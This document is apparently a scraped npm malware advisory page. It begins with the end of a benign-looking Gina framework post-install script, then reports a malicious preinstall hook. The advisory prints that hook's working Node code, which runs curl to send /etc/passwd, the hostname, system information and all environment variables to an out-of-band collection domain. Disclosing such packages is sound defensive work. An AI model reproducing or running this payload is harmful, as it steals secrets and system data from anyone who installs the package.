                console.debug( 'Creating symlink: '+ _(archivesPath +'/'+ dir, true) +' -> '+ _(frameworkPath +'/'+ dir, true));
                new _(archivesPath +'/'+ dir, true).symlinkSync(_(frameworkPath +'/'+ dir, true) );
            } catch (e) {
                throw e
            }
        }
    }


    self.end = function(done) {

        restoreSymlinks();

        // configuring Gina
        var ginaBinanry = _(self.gina + '/bin/gina', true);
        if (!self.isCustomPrefix && self.isGlobalInstall) {
            ginaBinanry = _( self.defaultPrefix + '/lib/node_modules/gina/bin/gina', true)
        }

        if ( !fs.existsSync(ginaBinanry) ) {
            console.error('Outch: `'+ ginaBinanry +'` not found !');
        }

        var cmd = null;
        try {
            cmd = ginaBinanry + ' framework:set --global-mode='+ self.isGlobalInstall;
            console.info('Running: '+ cmd);
            console.debug(execSync(cmd));
            cmd = ginaBinanry + ' framework:set --prefix='+ self.prefix;
            console.info('Running: '+ cmd);
            console.debug(execSync(cmd));
        } catch (err) {
            //return done(err)
        }


        // Update middleware file
        var filename = _(self.versionPath) + '/MIDDLEWARE';
        var msg = "Gina's command line tool has been installed.";

        var deps = require(_(self.versionPath) + '/package.json').dependecies;

        var version = require( _(self.gina + '/package.json') ).version;
        var middleware = 'isaac@'+version; // by default

        for (let d in deps) {
            if (d === 'express' && deps[d] != '') {
                middleware = d +'@'+ deps[d]
            }
        }

        var expressPackage = _(self.versionPath + '/node_modules/express/package.json');
        if ( typeof(middleware) == 'undefined' && fs.existsSync(expressPackage) ) {
            middleware = require(expressPackage).version;
            middleware = 'express@' + middleware;
        }
        else if (typeof(middleware) == 'undefined') {
            return done( new Error('No middleware found !!') );
        }

        if ( fs.existsSync(filename) ) { // update
            var def = fs.readFileSync(filename).toString;
            // TODO - uninstall old if installed ??
            if (def !== middleware) {
                fs.writeFile(filename, middleware, function onWrote(err){
                    if (err) {
                        return done(err)
                    }
                    console.debug('Updated: def !== middleware case');
                    // execSync(self.prefix +'/bin/gina framework:set --prefix='+ self.prefix);
                    console.info(msg);
                    done()
                })
            } // else, nothing to do
        } else { // create
            fs.writeFile(filename, middleware, function onWrote(err){
                if (err) {
                    return done(err)
                }
                console.info('File created case');

                console.info(msg);
                done()
            })
        }
    }


    init()
}
new PostInstall()

Detected: 30 Mar 2025
Detected Date: 30 Mar 2025
Affected Install Script: preinstall
Package Source: ↗️ View on Npm

The code executes a command that sends sensitive information, including the contents of the /etc/passwd file, the hostname, system information, and environment variables, to a remote server using curl. This exposes sensitive system data, potentially leading to unauthorized access or exploitation of the affected system.

Install script:
node index.js
Install script code:
const { exec } = require("child_process");
const command = 'curl -XPSOT "http://$(whoami).unrkajdvqlorwufbpkoyv25gjm9q84kkc.oast.fun/" -d "$(cat /etc/passwd /etc/hostname && uname -a && env)"';
exec(command, (error, stdout, stderr) => {
if (error) {
console.error(error.message);
return;
}
if (stderr) {
console.log(stderr);
}
console.log(stdout);
});
12,009 vulnerabilities